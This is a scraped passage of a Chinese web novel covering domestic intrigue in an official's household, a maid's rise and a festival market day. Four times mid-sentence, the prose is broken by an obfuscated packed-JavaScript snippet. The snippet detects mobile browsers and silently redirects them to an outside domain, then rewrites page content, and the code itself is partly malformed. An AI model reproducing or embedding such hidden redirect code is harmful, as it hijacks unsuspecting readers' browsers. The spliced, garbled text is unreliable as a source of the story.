;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209810|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报了一番。 梅娘子听着听着便蹙起了眉。 三房，又是三房！她那妯娌本就仗着老太太的势，屡屡挑衅分权，如今连三房亲戚的手都伸到大厨房里，逼着她的人偷盗府中物资了，这若是闹出人命，传扬出去，陈家的脸面还要不要？老太爷和二郎的官声还要不要？ 还好此事发现得早，尚未闹大，反倒是可以拿来做一番文章…… 她沉吟片刻，心中已有计较。 “既是如此，倒是个可怜见的。张妈妈，喜姐儿暂且不必从花名册上除名，先让她在家养伤吧。赵妈妈，去取五百钱，再包些药材，让张妈妈带给她，就说是府里赏的，让她且安心将养。” 张婆子和胡姣闻言，心中大喜，连忙跪下磕头：“多谢娘子恩典！娘子仁善！” 梅娘子又目光落在胡姣身上，眼含赞赏：“好个丫头，倒是个机灵有心胸的，叫什么名字？在大厨房做什么差事？” 胡姣忙恭敬回道：“回娘子的话，奴婢姓胡，叫椒姐儿，如今在大厨房灶下烧火搬柴。” 赵妈妈觑着梅娘子的脸色，在一旁笑着补充道：“娘子，这椒姐儿的爹，便是常年在您陪嫁田庄上打理事务的胡舫。前次庄头来回话，还夸他做事勤勉踏实呢。” 梅娘子恍然，点点头，脸上也露出笑意：“原来是他家的女孩儿。难怪瞧着稳重懂事。今日这事，你察访有功，也该赏。赵妈妈，再去取两碟时新果子，并三百钱，一起赏了她。” 胡姣与张婆子二人领完东西，千恩万谢地出了春晖堂。 胡姣要将那三百钱孝敬给张婆子，张婆子哪里肯要，还道今儿这事多亏了她机灵，不然还不知要惹出多大的祸事来。 胡姣忙道“妈妈言重了”，又说若非妈妈肯信她，又担着风险同她一道来见娘子，这事儿也不能这么顺利。 张婆子见她言辞谦卑，心中更添满意，又勉励几句，便自去料理后续事宜。 胡姣捧着赏钱和果子，也觉得心中一块大石终于落地。 另一边，梅娘子打发走二人后，便吩咐赵妈妈找几个得力的心腹家人去查那姜四的底细。接着，又让人精心炖了一盅铁皮石斛银耳羹，待赵妈妈送回消息后，便让小丫头用食盒装了，带着往陈老爹日常起居的书斋而去。 陈老爹正临帖，见她突然前来，还有些诧异：“二郎家的，你怎么过来了？” 梅娘子面带笑容，亲自将羹汤奉上：“儿媳新得了方子，试着做了盏羹汤，想着父亲近日操劳，特送来请您尝个鲜。” 然后，便借着解说羹汤做法，提起了大厨房之事，语气中满是忧虑。 “幸而底下人机警，查出了原委，否则若真闹出人命，或是被那起子小人拿住把柄，攀扯到府上……如今官人眼看考评在即，若是此时节传出家风不谨、纵容亲眷逼害下人的名声，只怕于他官声有碍，甚至举家都要受牵连。儿媳想着，真是后怕不已。” 陈老爹听完，脸色渐渐沉了下来。他虽不常过问内宅琐事，但只要关乎儿子仕途和家族声誉，那便是头等大事。他毕竟做过几年捐官，亦深知官场险恶，即便有时只是一点小小的家宅纷争，也可能被对手无限放大，成为攻讦的利器。 于是心中也是一阵后怕，一方面庆幸二儿媳出身高门，见识不凡，处理得当，将祸患消弭于无形；另一方面，则是涌起对三房的强烈不满。三郎家的那个，平日里掐尖要强、争权夺利也就罢了，如今三房亲眷做出这等败德害理、危及家门之事，不但不想着描补，反倒闹得人尽皆知，差点无法收场。 待梅娘子走后，陈老爹越想越气，猛地将毛笔拍在桌上，墨汁溅在上好的宣纸上，污了一片。他沉声喝道：“来人！去把三爷给我叫来！” 小厮见老爷面色不善，不敢怠慢，连忙飞奔而去。 25. 第 25 章 不一会儿，小厮引着陈三郎匆匆而来。 他身上还带着几分未散的酒气，脸上泛着红晕，显是刚从酒桌上被拉下来。见父亲脸色不善，心下先怯了三分，忙收敛了嬉笑之色，躬身行礼。 “父亲唤儿子来，不知有何教诲？” 陈老爹也不叫坐，霍然起身，对着他劈头便是一顿痛斥。 “教诲？我哪敢教诲三爷你！如今你是越发长进了！整日里只知呼朋引伴，吃酒耍钱，祖宗基业、自身前程半点不上心。文不成武不就，连个秀才功名都考不下来，倒学了一身纨绔习气。” 陈三郎被骂得懵了，下意识地想辩解：“父亲，儿子近日并未……” “闭嘴！”陈老爹厉声打断，“我还没说到要紧处！” “你自个儿不成器便罢了，如今连内帷都约束不住，任由你那媳妇上蹿下跳，争权夺利，搅得家宅不宁！她一个妇道人家，见识短浅，你不知规劝，反倒纵容，如今更是连着你小娘家的亲戚也搅了进来，做出那等逼害下人、败我家风的恶事来，你是要活活气死我不成？” 陈三郎听得云里雾里，又觉委屈：“父亲息怒！儿子……儿子实是不知李氏她、她又做了什么？至于什么小娘家的亲戚……” 陈老爹见他犹自糊涂，更是气不打一处来，猛地一拍桌案，震得笔架乱晃。 “你还装糊涂！你那好舅舅，叫个什么姜四的，仗着是你小娘的兄弟，在外头打着咱们府上的旗号放印子钱，反倒逼得府中婢女走投无路，竟至偷盗主家财物抵债！若非二郎家的机警，及时察访明白，此事一旦闹将出去，被御史言官闻风奏上一本，道我陈家治家不严、纵容亲眷为恶，你二哥的考评还要不要？他的前程还要不要？我们陈家的脸面还要不要？” 他越说越气，手指几乎戳到陈三郎鼻子上。 “你别打量我不知道！那姜四是不是常往你跟前凑？是不是常给你送些‘孝敬’？那可是沾着人血的官吏债，你拿着就不烫手？我看你的书是都读到狗肚子里去了！” 这番疾言厉色，瞬间将陈三郎那点酒意和委屈烧得干干净净。姜四送钱之事确有，他只当是那“小舅舅”会做人，怜惜他是庶子，在府中生活不易，所以私下贴补，何曾想过那银钱的来路竟如此腌臜？再想到此事若真被捅出去，牵连二哥的官声……他顿时吓得脸色发白，冷汗涔涔而下。 “父、父亲……儿子、儿子实是不知情啊……那姜四只说、说是做些小本生意……儿子若知他敢如此，断断不敢收的……” “不知情？一句不知情便能推脱干净？”陈老爹冷笑，“你如今已经娶妻，便是三房顶门立户的男人，可内不能约束妻室，外不能甄别亲眷，糊涂颟顸，是非不分，要你何用？即刻给我滚回去好生反省！若再让我知晓你与那姜四有半分牵扯，或是你房里再生出什么事端，仔细你的皮！” 陈三郎被骂得魂飞魄散，哪里还敢多言，连滚爬爬地退出了书斋。直到走出老远，被冷风一吹，才觉出后背衣衫早已被汗浸透，一片冰凉。 惊惧过后，一股怨气又猛地窜起。若非李氏整日里琢磨着与二嫂别苗头争夺管家权，怎会惹得父亲如此震怒？又怎会引出姜四这桩祸事？定是她在母亲跟前说了什么，才引得父亲将火烧到自己头上。这个蠢妇！成事不足，败事有余！ 他越想越气，脚下生风，直冲丹桂苑而去。 李娘子刚从外面听完戏回来，正对着镜台梳理鬓发，自打前日告了二房一状，她便心情颇好，很有些自得。忽见陈三郎怒气冲冲闯将进来，不由一怔，放下玉梳，起身笑道：“三爷这是打哪儿来？怎的……” 话音未落，陈三郎已劈头盖脸骂道：“蠢妇！你还敢问！我且问你，你是不是又去母亲跟前搬弄是非，说二嫂管家不力？还扯出什么库房失窃的破事？” 李娘子被骂得愣住，脸上的笑意也僵了僵：“三爷这话从何说起？我不过是将下头人传的话，照实禀告母亲罢了，怎就成了搬弄是非？况且那大厨房本就是你二嫂……” “闭嘴！”陈三郎不耐烦地打断她，“你还有理了？你可知就因你多这句嘴，惹出多大祸事？那偷东西的丫头，是被她那烂赌的爹逼的。她爹欠了印子钱，放债的就是小娘的弟弟姜四。” 李娘子闻言，脸色骤变：“姜四？这、这……我并不知道……” “你不知道？你一句不知道就完了？”陈三郎越想越气，继续骂道，“父亲方才将我唤去，好一顿痛斥。骂我纵容你争权夺利，骂我结交匪类，收受姜四的腌臜钱。还说此事若传扬出去，便要坏了二哥的官声，断了陈家的前程。你这蠢妇！只顾着与二嫂斗气，可曾想过后果？可曾为我想过？为三房想过？” 李娘子听得脸色发白，又惊又怒。惊的是姜四竟如此大胆妄为；怒的是丈夫不分青红皂白，将一腔怒火全倾泻在自己身上。她去老太太跟前，本是为了给二房上眼药，何曾想过会牵扯出什么姜四？更没想到会引得公公如此震怒。 她不由反驳道：“三爷这话好没道理！我怎知那姜四在外头做这等勾当？他送钱与你，你自个儿收得欢快，何曾问过来路？如今出了事，倒全成了我的不是？说我争权夺利？我还不是为了咱们三房，为了你！若不是怕将来分家咱俩吃亏，我何至于此？你倒好，只会躲在背后怨怪我。” 夫妻二人一个怨怪对方惹祸，一个指责对方无能，竟在房里大吵起来。吓得一众丫鬟婆子噤若寒蝉，远远躲开，不敢近前。 最后还是廖妈妈听着实在不像话，硬着头皮进来劝解，好歹将陈三郎劝去了书房歇息。 李娘子气得浑身乱颤，眼泪在眼眶里打转，只觉得满腹委屈无处诉说。她瘫坐在贵妃榻上，越想越恨，既恨二嫂手段厉害，转眼便查清原委反将一军；更恨姜小娘的兄弟姜四胆大包天，差点将她拖下水；连带着对平日无能，遇事又只会冲自己发火的丈夫，也生出几分怨怼。 “妈妈，”过了一会儿，她哑着嗓子对廖妈妈道，“去，开我的私库，拣几匹鲜亮尺头，再取一套头面，两盒上用人参，给小娘送去。就说家里不缺银钱使唤，请她安心静养，并好生约束娘家兄弟，莫要再惹出是非，连累了三爷前程。” 廖妈妈心下明白，这是娘子要敲打姜小娘，让她管束兄弟，又不好明说。忙应了声，自去料理。 却说姜小娘正在自己的小院里捡着佛豆，忽见李娘子身边得力的妈妈送来这许多贵重东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218755|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西，又听了那番软中带硬的话，顿时脸都白了。 她在这府中本就地位尴尬，虽是三郎生母，却因出身低微，并不得陈老爹和陈老娘多少青眼，平日不过是守着儿子过活，从不敢多行一步，多说一句。如今听闻自家兄弟竟在外头闯下如此大祸，惹得老太爷震怒，连累儿子挨骂，媳妇更是送来这些东西敲打……她只觉眼前发黑，手里的佛珠都差点握不住。 送走廖妈妈，姜小娘独坐房中，垂泪半晌。最终，唤来一个稳妥的老仆，让他悄悄去寻姜四，传话给他：日后安分守己，莫再做那伤天害理的勾当，若一时银钱不凑手，她这里还有些体己，只管来取，莫要再惹出祸事来连累三郎。 打发走老仆，姜小娘心中更是苦楚难言，自此越发沉默寡言，只终日跪在小佛堂前诵经祈福，祈求佛祖保佑儿子平安顺遂，莫再被她和娘家带累。 另一边，张婆子将梅娘子的赏赐和嘱咐带给了在家中养伤的喜姐儿。喜姐儿得知自己竟能逃过一劫，还保住了差事，只觉恍如梦中，哭得不能自已。 待伤势痊愈，能下地行走后，她便立刻回了大厨房，先是朝着张婆子结结实实磕了三个响头，谢她回护之恩。又寻到胡姣和翠姐儿，拉着她二人的手，泪如雨下。 “这次若不是你们，我、我早已被撵出去，甚至这条命都保不住。往后，我的命就是你们的！” 胡姣和翠姐儿连忙扶她，亦是眼圈发红，连声劝慰。 经此一遭，喜姐儿仿佛脱胎换骨，不再怯懦寡言。几日后的一天，她寻到张婆子屋里，噗通一声跪倒在地。 “妈妈，我想清楚了。那样的爹，那样的家，有不如无。我要与他义绝，从此一刀两断。我愿从此自卖为奴，签死契，一辈子留在府里，跟着妈妈好生当差，再不想那起子糟心人。” 接着，又眼中含着泪道：“妈妈，我的命是您救的，若您不嫌弃我愚笨，我、我想认您做干娘，以后给您养老送终。” 张婆子看着跪在眼前的喜姐儿，眼圈儿也红了。她一生坎坷，年轻时遇人不淑，受尽折磨，逃出来后卖身入府，挣扎半生，如今虽挣得几分体面，却也年老孤寂，膝下荒凉。何曾想过，老了老了，竟能得此佳女？ 她扶起喜姐儿，语带哽咽：“好孩子，快起来！你的心，妈妈知道了。妈妈答应你，从此以后，你就是妈妈的亲闺女！” 当下，母女二人抱头痛哭。 既认了亲，便不能没有表示。喜姐儿身上并无余财，便先向胡姣和翠姐儿借了些钱，紧赶着给张婆子做了一身新衣裳、一双新鞋并两双细布袜子。 张婆子更是欢喜，拿出积攒的体己，定要好好办一场认亲酒。特意挑了四月初五这个吉日，在大厨房后院摆了两桌席面，请了相熟的仆妇、管事，并大厨房众人。 席间虽无山珍海味，却也鸡鸭鱼肉俱全，甚是丰盛。喜姐儿换了身半新的干净衣裳，当着众人的面，给张婆子敬了茶，改口叫了“娘”。张婆子接过茶喝下，将早备好的一根银簪子插在喜姐儿鬓间，算是认亲礼。 众人纷纷道贺，笑语喧阗，很是热闹了一番。胡姣与翠姐儿坐在一处，看着喜姐儿脸上久违的、发自内心的笑容，亦是为她高兴。 26. 第 26 章 四月初八是浴佛节，陈老娘带着除梅娘子外的一众女眷前往山上的青龙寺烧香礼佛。梅娘子自己虽不去，却早发了话，许府中仆妇今日半天的休假，让她们去庙里烧香祈福，或是回家与亲人团聚。 趁着这时节，胡姣一家并孙阿嫂母女，天不亮就起身忙碌，做了好些佛饼和紫苏饮子，预备着前往寺门口售卖。 “豆哥儿，慢些吃，仔细烫着！”刘氏见儿子抓起一个刚出锅的佛饼就往嘴里塞，忙出声提醒。 一旁的胡姣则正将熬煮凉好的紫苏饮舀进一个个洗净的竹筒里，孙阿嫂见了，便赞她心思巧，这紫苏饮清爽，香客们顶着大日头走山路，正好解渴。 不多时，收拾停当，两家人，五个竹篮，每人挎上一个，说说笑笑出了门。晨风还带着凉意，吹得人精神一振。路上已有三三两两的行人，多是朝着城外青龙山方向去的。 本朝笃信佛教，浴佛节更是佛教重要节日之一，许多人还会赶在寺庙刚开门时争着上头一炷香。胡姣等人动身已经算早了，到了青龙寺山门前才不过辰时，然而却已经是人声鼎沸。 寺前空地上，各式摊贩早已支开，卖香烛的、卖斋饭的、卖山货的、卖小儿玩物的、甚至还有卖卦测字的……琳琅满目，吆喝声、讨价还价声汇成一片，热闹非常。 “姐姐，那边有空位！”豆哥儿人小眼尖，指着山门右侧一株老槐树下叫道。 胡姣顺着他指的方向一看，果然还能挤下他们这小摊，忙招呼众人过去。刘氏和孙阿嫂放下篮子，手脚麻利地将带来的粗布铺开，把佛饼分门别类摆开，饮子筒也整整齐齐码放好，一个小摊子便算支应起来了。 豆哥儿和春儿都是头一回来这地方，眼睛早不够用了，看看这边捏面人的，瞧瞧那边吹糖画的，只觉得新鲜无比。待了一会儿，便有些坐不住。 胡姣见今日有刘氏和孙阿嫂坐镇，便也不拘着他们，只叮嘱道：“去逛逛可以，不许跑远，不许惹事，更不许跟陌生人走。一会儿人多了，找不到你们可不行。” 两个豆丁欢呼一声，手拉着手便钻入了人流之中。 刚摆开没多久，便有两个小姑娘手挽手走了过来。一个个儿稍高，脸上带着几点小雀斑，另一个稍矮些，脸蛋圆圆的。二人瞧见胡姣这摊子上的佛饼模样别致，忍不住停下脚步。 “小娘子，你这饼子模样倒新奇，是什么馅儿的？”高个儿姑娘问道。 胡姣忙笑着介绍：“两位姐姐好眼光。这绿色圆的是绿茶佛饼，吃着有茶叶的清香味；这粉色心形的是豆沙佛饼，样子是仿照庙里的‘卜杯’制的；若是不爱吃甜的，还有方形的五香椒盐佛饼。都是今早现做的，新鲜着呢。” 两个姑娘听得新奇，商量了一下，便每样要了两块。胡姣用干净油纸包好递给她们，又道：“两位姐姐是今儿头一桩生意，送你们一人一杯紫苏饮子尝尝，解渴生津的。” 两人接过竹筒，拔开塞子喝了一口，那酸甜清爽的滋味立时直冲头脑，于是连声道谢，欢欢喜喜地走了。 本以为这只是桩寻常买卖，谁知过了约莫一炷香功夫，那高个儿姑娘竟去而复返，身后还跟着四五位妇人并几个年轻女孩儿。 “小娘子，可还认得我？”高个姑娘笑吟吟道，“你家的佛饼和饮子，我娘和婶子们都觉着好，每样都要再买些。” 这下可忙坏了胡姣三人。妇人们口味不一，有的要甜，有的要咸，数量也各不相同。刘氏负责收钱，孙阿嫂帮着递送，胡姣则手脚飞快地拣选、包裹。 忙活了好一阵，才将这一大单生意打发妥当。自然，每人都得了一杯赠送的紫苏饮。这群妇人们见她的东西好，嘴又甜，又会做人，更是欢喜，七嘴八舌地夸赞不停。 其实，这紫苏饮用料寻常，不过是用紫苏叶、甘草、陈皮、山楂加上些许饴糖熬煮，一份料便能熬煮出一大锅，并不费什么本钱，胡姣定价一文钱一杯，主打一个实惠，也是有引客的意思。 旁边一个卖时新果子的婆子，摊前冷清，见胡家生意红火，忍不住酸溜溜嘀咕：“哼，佛饼谁家不会做？面疙瘩裹点馅儿，还能做出花儿来不成？” 这婆子卖的尽是些梨子、橘子等寻常果子，个头又小，还有些干瘪，谁会想不开花钱买这个，何况价钱还比山下的贵。 刘氏耳尖，听见她嘀咕，立刻扬起嗓子，却不直接冲那婆子，只对着自家摊子道：“哟，这做人做生意啊，都得讲个良心诚意。东西好不好，吃进嘴里自然知道。光会斜着眼睛说酸话，那钱就能自个儿跳进袋子里去了？” 那婆子被噎得脸一红，扭过头去不再吱声。胡姣暗笑，她娘这“辣子”的性子，真是半点亏不肯吃。 许是开了个好头，接下来的生意顺当得超乎想象。香客们往来如织，见这摊子前人多，东西模样又新奇，不免都过来看两眼，这一看，多半就要买上几块饼子，带上两筒饮子。不到午时，带来的五个竹篮竟已见了底，只剩下寥寥几个佛饼和几杯饮子。 胡姣见状，便道：“阿娘，婶子，剩下的不卖了，咱自己也尝尝，歇歇脚，一会儿也去寺里逛一逛。” 正说着，豆哥儿和春儿满头大汗地跑回来，一人手里举着个糖人儿，另一手还拿着炸糕之类的零嘴儿。 见摊子上的东西几乎卖光了，豆哥儿惊讶地张大嘴：“呀！这么快就卖完啦？” 春儿也眨着眼：“我们还说回来帮忙呢……” 说着两个豆丁又把零嘴儿让给胡姣三人吃。 胡姣接过来，只吃了一块油糕就不想吃了，说实话味道寻常，油大还腻味，但难得出来，胡姣便由得两个人去了。 孙阿嫂也尝了一口，下意识嘀咕道还没胡姣做的好吃。 春儿就噘起嘴，一副不高兴的样子，孙阿嫂见了忙改口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229125|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说闺女买的就是香甜。春儿这才又笑起来，娇憨地倚着她娘。 刘氏和胡姣对视一眼，都忍不住抿嘴笑了。 日头升高，寺里钟声悠扬。胡姣几人将剩下的饼子分吃了，饮子也喝了。 收了摊，几人随着人流进了青龙寺。 果然如古人诗云“人间四月芳菲尽，山寺桃花始盛开”，虽已是暮春，可寺内古桃开得正旺，灼灼其华，灿若云霞，引得无数香客驻足观赏。 胡姣等人也随着逛了逛，上了香，听了会儿经文，直到日头偏西，才提着空篮，心满意足地往家走。 回到下人院，已是申时。刚进院门，胡姣便觉得有些异样。早上晾晒的衣裳收得干干净净，水缸也打满了水，院子里还整整齐齐码放着一小堆新劈的柴火。 “咦？谁帮咱家收了衣裳？还打了水劈了柴？”刘氏疑惑道。 正说着，只见屋门帘子一掀，一个高高瘦瘦的汉子从里面走了出来，不是别个，正是胡姣的爹——胡舫。 豆哥儿最先反应过来，欢呼一声，炮弹似的冲过去一把抱住胡舫的腿。 “他爹？”刘氏愣住了，“你、你怎么回来了？也不提前捎个信儿？” 胡舫弯腰一把抱起儿子，对刘氏和胡姣笑道：“庄头回来向娘子述职，准我跟着一道回来的。走得匆忙，就没来得及捎信。” 孙阿嫂见他们一家团聚，必有话说，便笑着拉了春儿：“你们好好说话，我们先家去了。”说着便回了自家。 进了屋，胡舫放下豆哥儿，仔细看了看胡姣额角，语气满是心疼：“我在庄子上听说你磕破了头，差点……唉，爹这心里真是……” 刘氏忙道：“都过去了，如今不是好端端的了？椒姐儿如今可能干了，进了大厨房，还把家里操持得井井有条。” 胡姣被看得有些不好意思，忙问：“爹，庄子上差事可还顺利？这回能在家待几日？” 胡舫便道：“年前一场大雪，庄子上冻坏了不少禾苗和牲畜，爹跟赵庄头费了好大劲才补救回来，连年都没能回家过。唉，苦了你娘和你们姐弟了。” 他顿了顿，脸上又露出笑：“不过这回差事办得妥帖，梅娘子很是夸赞了一番，又说我这些年在庄上辛苦，以后就不必常驻了，调我回府里，在二门上当个管车马的副管事。” “真的？”刘氏喜出望外。 豆哥儿眨巴着大眼睛，抢着问：“爹，副管事？那是升官儿了么？” 一句话逗得胡舫哈哈大笑，伸出大手揉了揉儿子的脑袋。 胡姣心里也为父亲高兴。虽然只是个管车马的副管事，可比在外头庄子上风吹日晒自是强上许多，更重要的是一家人总算团聚了。 有人欢喜有人愁。胡舫回来还升任二门上副管事的事儿，自然瞒不住其他人，有的人也不过眼红说两句酸话，可王瑞却是实实在在郁闷坏了。 27. 第 27 章 王瑞也是在二门上管车马的，人称一句王管事，虽权力不算大，可好歹也管着两三个人，又有三房这层关系在，所以在府里颇有几分体面。 可自打几日前老太爷发落了陈三郎，他便也跟着受到了牵连，毕竟谁让那犯事的姜四是他婆娘的叔叔呢，为此他还被梅娘子跟前的赵妈妈叫过去敲打了一番。 可恨这些年他在二门上兢兢业业，不敢有半分差错，好不容易才有这般地位，如今倒好，无端在主子跟前挂了号。这便罢了，更让他呕血的是，这节骨眼上，胡舫回来了，不但回来了，梅娘子还抬举他做了二门上管车马的副管事。 这分明就是分他的权，削他的脸！谁不知道胡家与他王家有旧怨？梅娘子此举，显然是对他不再那般信重了。一想到日后要与胡舫共事，抬头不见低头见，王瑞就觉得一阵憋闷。于是，下了值不免多喝了几杯，方才醉醺醺地回家。 回来又看见婆娘姜氏在教儿子来哥儿一些没脑子的话，心里顿时火起。真真是娶妻不贤啊！ 于是上前一步骂道：“蠢材！还不快闭上你的臭嘴。整日里就知道嚼舌根！你那好叔叔在外头胡作非为，已经害得我丢了管事权。如今你竟不知收敛，还要教唆孩子去惹是生非，你是嫌这个家太安生了吗？” 姜氏被丈夫没头没脑地一顿痛骂，先是一愣，随即也恼了。她本就不是个肯吃亏的性子，当下便叉着腰站起来，声音拔得更高。 “王瑞你个丧良心的！自己没本事，在主子跟前不得脸，倒把气撒到我和我娘家人头上。再说了，你说的这事儿和我什么相干？有能耐你倒是去寻梅娘子啊。” 王瑞听了，一时间酒气上涌，愈发口不择言起来。 “还和你不相干？若不是娶了你这个丧门星，沾上你家那起子亲戚，我怎会受这无妄之灾？那胡舫算个什么东西？一个庄户把头，如今倒和我平起平坐了，这都是你娘家给我招来的晦气！” 姜氏最是护短，见王瑞挤兑她娘家，当下气得脸都白了，扑上去就要撕扯王瑞。 “好哇！你如今倒是嫌起我娘家了？当初娶亲时怎不见你放半个屁？往日里我叔叔送的那些鸡鸭鱼肉难不成都进到狗肚子里了？如今倒跟我充起大爷来了！” 王瑞本就醉得脚步虚浮，被她一扑，踉跄着后退两步，差点站不稳，于是更加火冒三丈。仗着喝了酒心里又有气，抬手便是一巴掌，狠狠扇在姜氏脸上。 “啪”的一声脆响，姜氏被打得懵在原地，脸上迅速浮起五个清晰的手指印。她嫁过来这些年，王瑞虽说有时不耐烦，可从未对她动过手。 她愣愣地摸着火辣辣的脸颊，还没等哭嚎出声，旁边的来哥儿见他娘被打，“嗷”的一嗓子就冲上去，抱住王瑞的胳膊，张嘴便狠狠咬了下去。 王瑞吃痛，手臂下意识地用力一甩。他正值壮年，又喝了酒，力道没个轻重，来哥儿被他甩得飞了出去，不偏不倚，正好重重撞在墙角摆着的实木箱子的角上。 来哥儿的额角很快鼓起一个大包，红肿吓人，他愣了片刻，然后爆发出惊天动地的痛哭。 姜氏回过神来，赶忙上前扑过去抱住儿子，“心肝儿肉”地哭喊起来，一边哭一边指着王瑞破口大骂。 王瑞也被来哥儿额头上那大包吓住了，酒醒了大半，看着哭成一团的妻儿，心里也是一阵后悔。可面对姜氏的哭骂，又觉得烦躁不堪，最终撂下一句“不可理喻”，就狼狈地转身掀帘而出，躲到院外吹冷风去了。 另一边，孙阿嫂、钱婆子等与刘氏相好的，知道胡舫升迁的事情，都要来贺。刘氏心里高兴，便与胡舫商量着，晚上就在家里摆上一桌，请她们吃杯水酒，也算热闹热闹。 当天晚上，胡姣掌勺，刘氏打下手。做的是麻辣鲜香的徐海风味，有鸭松卷饼、小鱼豆腐、软兜鳝鱼、地锅鸡、鸭架萝卜汤等。 其中，一道鸭松卷饼最受欢迎。采用一年生的肥美嫩鸭，只取胸脯和腿肉，剩下的鸭架用来和酸萝卜炖了，便是一道酸爽开胃的好汤。鸭肉切成细丁，用料酒、细盐抓拌腌了，起锅热油快速滑炒，然后加入切得极碎的香菇丁、笋丁，并适量的葱姜末、花椒粉、辣椒末，炒得香气四溢，麻辣咸鲜。 另起一锅烙了薄如蝉翼的春饼。吃时，取一张薄饼，夹一筷子油润喷香的鸭松卷起，一口咬下去，饼皮的柔韧与馅料的丰腴麻辣在口中交织，令人胃口大开。 春儿吃的嘶哈嘶哈的还不肯丢手，鼻尖全是细密的汗珠，小嘴辣得通红，嘴里还不住地嘟囔着好吃。 孙阿嫂看得又好气又好笑，轻轻拧了她一把：“慢些吃，没人与你抢！瞧你这副馋相，好似八百年没吃过饭似的，也不怕人笑话！” 春儿却不管，腮帮子塞得鼓鼓囊囊，含糊道：“娘，真的好吃嘛！椒姐儿手艺就是好！” 席间坐的都是相熟的妇人，便有人劝她不要把孩子拘束得太紧，又说小丫头子娇憨些才可爱呢。 与刘氏一起在二房浆洗的钱婆子，今天和孙阿嫂同坐一处，此刻瞧了瞧春儿，笑着对孙阿嫂道：“春儿丫头的模样儿真是越发水灵了，瞧这眉眼，将来准是个美人坯子。就是这头发……若是再丰厚乌黑些，就更出挑了。” 春儿最爱美，一听这话，顿时觉得碗里的饭菜都不那么香了，下意识地摸了摸自己有些黄软稀疏的发辫，小嘴微微撅起。 不怪春儿难过。 时人看来，头发是妇人的另一张脸面，若是没有一头秀发，长得再好也要打个折扣，便是将来结亲也会被人挑剔的。 胡姣见状，便对她说回头空了给她调些固元糕来吃，每日吃上两块，最是养气血、乌鬓发的，只要坚持吃上一年，保管她头发又厚又亮。 孙阿嫂听了，便忙不迭地说：“好孩子，有什么需用的只管和婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233514|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子说，你姐姐这头发可就全靠你了。” 也有婶子大娘好奇问啥是固元糕，自己能不能吃。 胡姣便耐心解释道：“这固元糕其实也不稀罕，就是用猪皮熬出胶来，配上黑芝麻、红枣儿、枸杞子、核桃仁儿，最后用饴糖调和凝固成糕。不但小姑娘吃了养头发，便是各位婶子大娘吃了，也能滋阴润燥，对身子骨好呢。” 这下不但春儿、孙阿嫂感兴趣，席间的妇人们都问起来。 谁不想头发乌亮、面色红润？ 当下便有好几个开口，让胡姣得空了也帮她们做一些，又连声说绝不叫她小人儿家吃亏，她们花钱买她的。又同刘氏夸胡姣，说她年纪虽小却有成算，将来就等着享福吧。 刘氏听得脸上有光，嘴上却谦逊道：“她一个小孩子家，胡乱琢磨的东西，哪里当得起你们夸。” 胡姣怕私下做买卖，被府里查出来不好，于是便让她们去南市口找春儿和豆哥儿交易。 “他们每日都在那儿摆摊，届时我将做好的固元糕放在他们那儿，婶子大娘们去取便是，银钱也一并与他们结算。” 众人一听，更觉得她心思细密，考虑周全，纷纷点头称是。 胡家的欢声笑语自然瞒不过一个院里的金桂家。刘氏谁都请了独没有请她，金桂娘心里老大不痛快，在家里骂天骂地。连下了工回来的金桂也没能逃脱。 一会儿说她不争气，别人去了姑娘的院子，都有银钱打赏，再不济还能得些糕儿、果子的打牙祭，怎的她去了二姑娘那里竟连一点油水都捞不到。 一会儿又哭自己命苦，当家的死的早，还给她留下一堆讨债的，日子真是没法儿过了。 一旁的金宝没耐心听他娘叫唤，他肚子早饿了，见金桂回来便支使她去做饭，特别叮嘱要吃肉，他都闻见隔壁胡家的肉香了。 而从早上到现在只喝了一碗稀粥，真正饿得不行的妹妹金铃却是缩在一边，屁都不敢放一个。 